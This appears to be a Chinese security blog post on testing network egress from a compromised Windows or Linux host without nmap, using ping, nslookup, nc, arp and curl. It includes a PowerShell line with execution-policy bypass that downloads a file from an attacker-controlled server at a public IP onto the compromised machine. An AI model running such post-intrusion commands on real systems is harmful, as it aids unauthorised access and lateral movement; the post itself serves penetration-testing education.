Neurohazard
暮雲煙月,皓首窮經;森羅萬象,如是我聞。

不使用 nmap 等常见网络工具判断各网络协议的连通性

wpadmin~June 5, 2020 /InfoSec

不使用 nmap 等常见网络工具判断各网络协议的连通性

使用场景

在临时控制的失陷主机上,未必会有专业的网络探测调试工具比如 nmap, masscan 等,因此需要尽可能发挥出预装软件的能力。

Windows

ICMP 连通性

ping ip/domain

DNS 连通性

# 第一个参数是需要解析的域名,第二个参数是目标 DNS 服务器的 IP,可判断目标 IP 的53端口是否正常工作
nslookup baidu.com 10.10.10.128 # 第二个参数指定 DNS 服务器

HTTP / TCP 连通性

在攻击机器开一个 python HTTP Server,然后在失陷 Windows 机器上使用 Powershell 去下东西。如果不出网会报错:

powershell -nop -Exec Bypass -Command (New-Object System.Net.WebClient).DownloadFile('http://47.244.96.168:8888/readme.txt','readme.txt')

其他

arp -a  # 查看 ARP 缓存内容
net view # 显示当前域中的计算机列表

Linux

ICMP 连通性

ping ip/domain

TCP/UDP 连通性

# TCP
nc -zv ip  port  
nc -znv -w 3 ip port

# UDP
nc -u -znv ip port

# z选项:没有输入和输出的模式,v选项:显示详细信息
# -w 设置超时秒数。在测试链接的时候,如果你【没】使用 -w 这个超时选项,默认情况下 nc 会等待很久,然后才告诉你连接失败。如果你所处的网络环境稳定且高速(比如:局域网内),那么,你可以追加 -w 选项,设置一个比较小的超时值。在上面的例子中,超时值设为3秒。
# -n:由于测试的是【IP 地址】,用该选项告诉 nc,【无须】进行域名(DNS)解析;反之,如果你要测试的主机是基于【域名】,就【不能】用选项 -n。加上 -n 省略了 DNS 解析的步骤,速度快很多。
# 补充说明:UDP 端口测试。通常情况下,要测试的端口都是 TCP 协议的端口;如果你碰到特殊情况,需要测试某个 UDP 的端口是否可达。nc 同样能胜任。只需要追加 -u 选项。

其他

另外的一些技巧,某些场景中需要内网需要全部经过代理服务器才能出网,常见的判断方法:

# linux
ps -ef |grep ip #查看是否存在和其他机器端口的连接
#查看内网主机是否包含字符"proxy"的机器
#查看IE浏览器的直接代理
#根据pac文件查看代理机器
curl baidu.com # 不挂代理无法正常出网
curl -x 127.0.0.1:1080 baidu.com  #注意代理的目标,不一定是本机,挂代理时通,不挂代理时不通说明存在代理机器

参考资料

(一)探测连通性
http://blog.leanote.com/post/snowming/73fe6c9a4d54

Leave a Reply

Your email address will not be published. Required fields are marked *